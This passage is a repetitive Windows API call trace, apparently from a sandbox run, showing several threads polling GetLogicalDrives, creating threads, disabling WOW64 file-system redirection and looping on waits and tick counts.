(dwMilliseconds=0x64) [0247.535] GetLogicalDrives () returned 0x4 [0247.535] Sleep (dwMilliseconds=0x64) [0247.756] GetLogicalDrives () returned 0x4 [0247.756] Sleep (dwMilliseconds=0x64) [0247.913] GetLogicalDrives () returned 0x4 [0247.913] Sleep (dwMilliseconds=0x64) [0248.087] GetLogicalDrives () returned 0x4 [0248.087] Sleep (dwMilliseconds=0x64) [0248.242] GetLogicalDrives () returned 0x4 [0248.242] Sleep (dwMilliseconds=0x64) [0248.533] GetLogicalDrives () returned 0x4 [0248.533] Sleep (dwMilliseconds=0x64) [0248.779] GetLogicalDrives () returned 0x4 [0248.779] Sleep (dwMilliseconds=0x64) [0249.103] GetLogicalDrives () returned 0x4 [0249.103] Sleep (dwMilliseconds=0x64) [0249.384] GetLogicalDrives () returned 0x4 [0249.384] Sleep (dwMilliseconds=0x64) [0249.644] GetLogicalDrives () returned 0x4 [0249.644] Sleep (dwMilliseconds=0x64) [0249.804] GetLogicalDrives () returned 0x4 [0249.804] Sleep (dwMilliseconds=0x64) [0249.983] GetLogicalDrives () returned 0x4 [0249.983] Sleep (dwMilliseconds=0x64) [0251.059] GetLogicalDrives () returned 0x4 [0251.065] Sleep (dwMilliseconds=0x64) [0251.753] GetLogicalDrives () returned 0x4 [0251.753] Sleep (dwMilliseconds=0x64) [0252.010] GetLogicalDrives () returned 0x4 [0252.010] Sleep (dwMilliseconds=0x64) [0252.388] GetLogicalDrives () returned 0x4 [0252.389] Sleep (dwMilliseconds=0x64) [0252.677] GetLogicalDrives () returned 0x4 [0252.677] Sleep (dwMilliseconds=0x64) [0252.823] GetLogicalDrives () returned 0x4 [0252.823] Sleep (dwMilliseconds=0x64) [0252.973] GetLogicalDrives () returned 0x4 [0252.973] Sleep (dwMilliseconds=0x64) [0253.117] GetLogicalDrives () returned 0x4 [0253.117] Sleep (dwMilliseconds=0x64) [0253.267] GetLogicalDrives () returned 0x4 [0253.267] Sleep (dwMilliseconds=0x64) [0253.400] GetLogicalDrives () returned 0x4 [0253.400] Sleep (dwMilliseconds=0x64) [0253.622] GetLogicalDrives () returned 0x4 [0253.622] Sleep (dwMilliseconds=0x64) [0253.901] GetLogicalDrives () returned 0x4 [0253.901] Sleep (dwMilliseconds=0x64) [0254.023] GetLogicalDrives () returned 0x4 [0254.023] Sleep (dwMilliseconds=0x64) [0254.469] GetLogicalDrives () returned 0x4 [0254.469] Sleep (dwMilliseconds=0x64) [0254.732] GetLogicalDrives () returned 0x4 [0254.732] Sleep (dwMilliseconds=0x64) [0255.003] GetLogicalDrives () returned 0x4 [0255.003] Sleep (dwMilliseconds=0x64) [0255.206] GetLogicalDrives () returned 0x4 [0255.206] Sleep (dwMilliseconds=0x64) [0255.417] GetLogicalDrives () returned 0x4 [0255.417] Sleep (dwMilliseconds=0x64) [0255.593] GetLogicalDrives () returned 0x4 [0255.593] Sleep (dwMilliseconds=0x64) [0255.820] GetLogicalDrives () returned 0x4 [0255.820] Sleep (dwMilliseconds=0x64) [0256.067] GetLogicalDrives () returned 0x4 [0256.067] Sleep (dwMilliseconds=0x64) [0256.335] GetLogicalDrives () returned 0x4 [0256.335] Sleep (dwMilliseconds=0x64) [0256.790] GetLogicalDrives () returned 0x4 [0256.790] Sleep (dwMilliseconds=0x64) [0256.967] GetLogicalDrives () returned 0x4 [0256.967] Sleep (dwMilliseconds=0x64) [0257.406] GetLogicalDrives () returned 0x4 [0257.406] Sleep (dwMilliseconds=0x64) [0257.518] GetLogicalDrives () returned 0x4 [0257.518] Sleep (dwMilliseconds=0x64) [0257.731] GetLogicalDrives () returned 0x4 [0257.731] Sleep (dwMilliseconds=0x64) [0257.863] GetLogicalDrives () returned 0x4 [0257.863] Sleep (dwMilliseconds=0x64) [0258.031] GetLogicalDrives () returned 0x4 [0258.031] Sleep (dwMilliseconds=0x64) [0258.429] GetLogicalDrives () returned 0x4 [0258.429] Sleep (dwMilliseconds=0x64) [0258.549] GetLogicalDrives () returned 0x4 [0258.549] Sleep (dwMilliseconds=0x64) [0258.782] GetLogicalDrives () returned 0x4 [0258.782] Sleep (dwMilliseconds=0x64) [0258.930] GetLogicalDrives () returned 0x4 [0258.930] Sleep (dwMilliseconds=0x64) [0259.262] GetLogicalDrives () returned 0x4 [0259.268] Sleep (dwMilliseconds=0x64) [0259.517] GetLogicalDrives () returned 0x4 [0259.517] Sleep (dwMilliseconds=0x64) [0260.829] GetLogicalDrives () returned 0x4 [0260.829] Sleep (dwMilliseconds=0x64) [0261.087] GetLogicalDrives () returned 0x4 [0261.087] Sleep (dwMilliseconds=0x64) [0261.413] GetLogicalDrives () returned 0x4 [0261.413] Sleep (dwMilliseconds=0x64) [0261.863] GetLogicalDrives () returned 0x4 [0261.863] Sleep (dwMilliseconds=0x64) [0262.186] GetLogicalDrives () returned 0x4 [0262.186] Sleep (dwMilliseconds=0x64) [0262.538] GetLogicalDrives () returned 0x4 [0262.538] Sleep (dwMilliseconds=0x64) [0262.864] GetLogicalDrives () returned 0x4 [0262.864] Sleep (dwMilliseconds=0x64) [0263.166] GetLogicalDrives () returned 0x4 [0263.166] Sleep (dwMilliseconds=0x64) [0263.613] GetLogicalDrives () returned 0x4 [0263.613] Sleep (dwMilliseconds=0x64) [0263.855] GetLogicalDrives () returned 0x4 [0263.855] Sleep (dwMilliseconds=0x64) [0264.044] GetLogicalDrives () returned 0x4 [0264.044] Sleep (dwMilliseconds=0x64) [0264.380] GetLogicalDrives () returned 0x4 [0264.380] Sleep (dwMilliseconds=0x64) [0264.602] GetLogicalDrives () returned 0x4 [0264.602] Sleep (dwMilliseconds=0x64) [0264.807] GetLogicalDrives () returned 0x4 [0264.807] Sleep (dwMilliseconds=0x64) [0265.025] GetLogicalDrives () returned 0x4 [0265.025] Sleep (dwMilliseconds=0x64) [0265.316] GetLogicalDrives () returned 0x4 [0265.316] Sleep (dwMilliseconds=0x64) [0265.510] GetLogicalDrives () returned 0x4 [0265.511] Sleep (dwMilliseconds=0x64) [0265.647] GetLogicalDrives () returned 0x4 [0265.647] Sleep (dwMilliseconds=0x64) [0265.819] GetLogicalDrives () returned 0x4 [0265.819] Sleep (dwMilliseconds=0x64) [0266.056] GetLogicalDrives () returned 0x4 [0266.056] Sleep (dwMilliseconds=0x64) Thread: id = 69 os_tid = 0x5d0 [0235.514] GetTickCount () returned 0x1131507 [0235.514] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x24) returned 0x587d50 [0235.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x587d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0235.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x587d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0235.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x587d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0235.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x587d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0235.731] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581258 [0235.732] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581258, Size=0x20) returned 0x565ff8 [0235.732] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581258 [0235.732] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581258, Size=0x20) returned 0x566020 [0235.732] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0235.740] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0235.740] Wow64DisableWow64FsRedirection (in: OldValue=0x251ff84 | out: OldValue=0x251ff84*=0x0) returned 1 [0235.740] lstrlenW (lpString="kernel32.dll") returned 12 [0235.740] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565ff8 | out: hHeap=0x530000) returned 1 [0235.740] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0235.740] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566020 | out: hHeap=0x530000) returned 1 [0235.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x56af08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c [0235.742] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0235.922] GetTickCount () returned 0x11315f1 [0235.922] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0236.132] GetTickCount () returned 0x11316bc [0236.132] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0236.337] GetTickCount () returned 0x1131787 [0236.337] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0236.475] GetTickCount () returned 0x1131813 [0236.475] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0236.581] GetTickCount () returned 0x1131880 [0236.581] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0236.722] GetTickCount () returned 0x113190d [0236.722] GetTickCount () returned 0x113190d [0236.722] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0236.994] GetTickCount () returned 0x1131a16 [0236.994] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0237.134] GetTickCount () returned 0x1131a93 [0237.134] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0237.257] GetTickCount () returned 0x1131b10 [0237.257] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0237.482] GetTickCount () returned 0x1131bfa [0237.482] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0237.742] GetTickCount () returned 0x1131cf3 [0237.742] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0237.972] GetTickCount () returned 0x1131ddd [0237.972] GetTickCount () returned 0x1131ddd [0237.972] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0238.231] GetTickCount () returned 0x1131ee6 [0238.231] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0238.620] GetTickCount () returned 0x113206c [0238.620] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0238.784] GetTickCount () returned 0x1132108 [0238.784] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0238.957] GetTickCount () returned 0x11321b4 [0238.957] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0239.176] GetTickCount () returned 0x113228f [0239.176] GetTickCount () returned 0x113228f [0239.176] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0239.327] GetTickCount () returned 0x113232b [0239.327] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0239.659] GetTickCount () returned 0x1132472 [0239.659] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0239.819] GetTickCount () returned 0x113250e [0239.819] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0240.302] GetTickCount () returned 0x11326f2 [0240.302] GetTickCount () returned 0x11326f2 [0240.302] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0240.432] GetTickCount () returned 0x113277e [0240.432] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0240.577] GetTickCount () returned 0x113280b [0240.577] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0240.849] GetTickCount () returned 0x1132914 [0240.849] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0241.076] GetTickCount () returned 0x11329fe [0241.076] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0241.348] GetTickCount () returned 0x1132b07 [0241.348] GetTickCount () returned 0x1132b07 [0241.348] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0241.489] GetTickCount () returned 0x1132b93 [0241.489] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0241.605] GetTickCount () returned 0x1132c10 [0241.605] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0241.735] GetTickCount () returned 0x1132c8d [0241.735] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0241.832] GetTickCount () returned 0x1132cfa [0241.832] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0242.201] GetTickCount () returned 0x1132e61 [0242.201] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0242.339] GetTickCount () returned 0x1132ede [0242.339] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0242.672] GetTickCount () returned 0x1133025 [0242.672] GetTickCount () returned 0x1133025 [0242.672] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0242.884] GetTickCount () returned 0x1133100 [0242.884] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0243.194] GetTickCount () returned 0x1133228 [0243.194] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0243.306] GetTickCount () returned 0x1133295 [0243.306] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0243.618] GetTickCount () returned 0x11333cd [0243.618] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0243.854] GetTickCount () returned 0x11334b7 [0243.854] GetTickCount () returned 0x11334b7 [0243.854] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0244.040] GetTickCount () returned 0x1133563 [0244.040] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0244.663] GetTickCount () returned 0x11337c3 [0244.664] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0245.032] GetTickCount () returned 0x113393a [0245.032] GetTickCount () returned 0x113393a [0245.032] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0245.328] GetTickCount () returned 0x1133a43 [0245.328] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0245.801] GetTickCount () returned 0x1133c17 [0245.801] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0246.359] GetTickCount () returned 0x1133e39 [0246.359] GetTickCount () returned 0x1133e39 [0246.359] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0246.465] GetTickCount () returned 0x1133ea6 [0246.465] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0246.636] GetTickCount () returned 0x1133f52 [0246.636] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0246.850] GetTickCount () returned 0x113401d [0246.850] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0247.134] GetTickCount () returned 0x1134135 [0247.134] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0247.535] GetTickCount () returned 0x11342bb [0247.535] GetTickCount () returned 0x11342bb [0247.535] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0247.756] GetTickCount () returned 0x1134396 [0247.756] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0247.913] GetTickCount () returned 0x1134432 [0247.913] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0248.087] GetTickCount () returned 0x11344dd [0248.087] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0248.242] GetTickCount () returned 0x1134579 [0248.242] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0248.533] GetTickCount () returned 0x11346a2 [0248.533] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0248.779] GetTickCount () returned 0x113479b [0248.779] GetTickCount () returned 0x113479b [0248.779] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0249.102] GetTickCount () returned 0x11348d3 [0249.102] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0249.384] GetTickCount () returned 0x11349ec [0249.384] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0249.644] GetTickCount () returned 0x1134af5 [0249.644] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0249.804] GetTickCount () returned 0x1134b91 [0249.804] GetTickCount () returned 0x1134b91 [0249.804] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0249.983] GetTickCount () returned 0x1134c4d [0249.983] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0251.050] GetTickCount () returned 0x1135071 [0251.051] GetTickCount () returned 0x1135071 [0251.053] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0251.753] GetTickCount () returned 0x113532f [0251.753] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0252.010] GetTickCount () returned 0x1135439 [0252.010] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0252.389] GetTickCount () returned 0x11355af [0252.389] GetTickCount () returned 0x11355af [0252.389] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0252.677] GetTickCount () returned 0x11356c8 [0252.677] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0252.823] GetTickCount () returned 0x1135764 [0252.823] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0252.973] GetTickCount () returned 0x11357f0 [0252.973] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0253.117] GetTickCount () returned 0x113588c [0253.117] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0253.267] GetTickCount () returned 0x1135919 [0253.267] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0253.401] GetTickCount () returned 0x11359a5 [0253.401] GetTickCount () returned 0x11359a5 [0253.401] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0253.622] GetTickCount () returned 0x1135a7f [0253.622] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0253.901] GetTickCount () returned 0x1135b98 [0253.901] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0254.023] GetTickCount () returned 0x1135c15 [0254.023] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0254.469] GetTickCount () returned 0x1135dca [0254.469] GetTickCount () returned 0x1135dca [0254.469] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0254.733] GetTickCount () returned 0x1135ed3 [0254.733] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0255.003] GetTickCount () returned 0x1135fec [0255.003] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0255.206] GetTickCount () returned 0x11360b7 [0255.206] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0255.417] GetTickCount () returned 0x1136181 [0255.417] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0255.593] GetTickCount () returned 0x113622d [0255.593] GetTickCount () returned 0x113622d [0255.593] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0255.820] GetTickCount () returned 0x1136317 [0255.820] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0256.067] GetTickCount () returned 0x1136411 [0256.067] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0256.335] GetTickCount () returned 0x113651a [0256.335] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0256.789] GetTickCount () returned 0x11366de [0256.789] GetTickCount () returned 0x11366de [0256.789] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0256.967] GetTickCount () returned 0x113678a [0256.967] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0257.406] GetTickCount () returned 0x113694e [0257.406] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0257.518] GetTickCount () returned 0x11369bb [0257.518] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0257.731] GetTickCount () returned 0x1136a86 [0257.731] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0257.863] GetTickCount () returned 0x1136b13 [0257.863] GetTickCount () returned 0x1136b13 [0257.863] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0258.031] GetTickCount () returned 0x1136bbe [0258.031] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0258.429] GetTickCount () returned 0x1136d44 [0258.429] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0258.548] GetTickCount () returned 0x1136dc1 [0258.548] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0258.781] GetTickCount () returned 0x1136eab [0258.782] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0258.930] GetTickCount () returned 0x1136f37 [0258.930] GetTickCount () returned 0x1136f37 [0258.930] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0259.271] GetTickCount () returned 0x113708f [0259.273] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0259.517] GetTickCount () returned 0x1137188 [0259.517] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0260.829] GetTickCount () returned 0x11376a7 [0260.829] GetTickCount () returned 0x11376a7 [0260.829] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0261.087] GetTickCount () returned 0x11377b0 [0261.087] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0261.413] GetTickCount () returned 0x11378e8 [0261.413] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x0 [0261.413] GetTickCount () returned 0x11378e8 [0261.413] Sleep (dwMilliseconds=0x64) [0261.864] GetTickCount () returned 0x1137aac [0261.864] GetTickCount () returned 0x1137aac [0261.864] Sleep (dwMilliseconds=0x64) [0262.186] GetTickCount () returned 0x1137bf4 [0262.186] Sleep (dwMilliseconds=0x64) [0262.538] GetTickCount () returned 0x1137d5b [0262.538] Sleep (dwMilliseconds=0x64) [0262.864] GetTickCount () returned 0x1137e93 [0262.864] Sleep (dwMilliseconds=0x64) [0263.166] GetTickCount () returned 0x1137fcb [0263.166] GetTickCount () returned 0x1137fcb [0263.166] Sleep (dwMilliseconds=0x64) [0263.613] GetTickCount () returned 0x113817f [0263.613] Sleep (dwMilliseconds=0x64) [0263.855] GetTickCount () returned 0x1138279 [0263.855] Sleep (dwMilliseconds=0x64) [0264.044] GetTickCount () returned 0x1138334 [0264.044] Sleep (dwMilliseconds=0x64) [0264.380] GetTickCount () returned 0x113848b [0264.380] GetTickCount () returned 0x113848b [0264.380] Sleep (dwMilliseconds=0x64) [0264.602] GetTickCount () returned 0x1138566 [0264.602] Sleep (dwMilliseconds=0x64) [0264.808] GetTickCount () returned 0x1138631 [0264.808] Sleep (dwMilliseconds=0x64) [0265.047] GetTickCount () returned 0x113872a [0265.057] Sleep (dwMilliseconds=0x64) [0265.322] GetTickCount () returned 0x1138833 [0265.322] Sleep (dwMilliseconds=0x64) [0265.510] GetTickCount () returned 0x11388ef [0265.510] GetTickCount () returned 0x11388ef [0265.510] Sleep (dwMilliseconds=0x64) [0265.646] GetTickCount () returned 0x113897b [0265.646] Sleep (dwMilliseconds=0x64) [0265.818] GetTickCount () returned 0x1138a27 [0265.818] Sleep (dwMilliseconds=0x64) [0266.055] GetTickCount () returned 0x1138b11 [0266.056] Sleep (dwMilliseconds=0x64) Thread: id = 70 os_tid = 0x5d4 [0235.515] GetTickCount () returned 0x1131507 [0235.515] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x24) returned 0x5ade98 [0235.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5ade98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0235.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5ade98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0235.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5ade98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0235.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5ade98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0235.732] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581258 [0235.732] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581258, Size=0x20) returned 0x59e888 [0235.732] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581258 [0235.732] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581258, Size=0x20) returned 0x59e8b0 [0235.732] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0235.741] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0235.741] Wow64DisableWow64FsRedirection (in: OldValue=0x261ff84 | out: OldValue=0x261ff84*=0x0) returned 1 [0235.741] lstrlenW (lpString="kernel32.dll") returned 12 [0235.741] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59e888 | out: hHeap=0x530000) returned 1 [0235.741] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0235.741] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59e8b0 | out: hHeap=0x530000) returned 1 [0235.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5aef30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170 [0235.743] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0235.922] GetTickCount () returned 0x11315f1 [0235.922] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0236.132] GetTickCount () returned 0x11316bc [0236.132] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0236.326] GetTickCount () returned 0x1131777 [0236.326] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0236.475] GetTickCount () returned 0x1131813 [0236.475] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0236.581] GetTickCount () returned 0x1131880 [0236.581] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0236.723] GetTickCount () returned 0x113190d [0236.723] GetTickCount () returned 0x113190d [0236.723] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0236.994] GetTickCount () returned 0x1131a16 [0236.994] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0237.134] GetTickCount () returned 0x1131a93 [0237.134] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0237.257] GetTickCount () returned 0x1131b10 [0237.257] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0237.482] GetTickCount () returned 0x1131bfa [0237.482] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0237.742] GetTickCount () returned 0x1131cf3 [0237.742] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0237.972] GetTickCount () returned 0x1131ddd [0237.972] GetTickCount () returned 0x1131ddd [0237.972] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0238.231] GetTickCount () returned 0x1131ee6 [0238.231] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0238.620] GetTickCount () returned 0x113206c [0238.620] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0238.784] GetTickCount () returned 0x1132108 [0238.784] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0238.957] GetTickCount () returned 0x11321b4 [0238.957] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0239.176] GetTickCount () returned 0x113228f [0239.176] GetTickCount () returned 0x113228f [0239.176] WaitForSingleObject (hHandle=0x170, 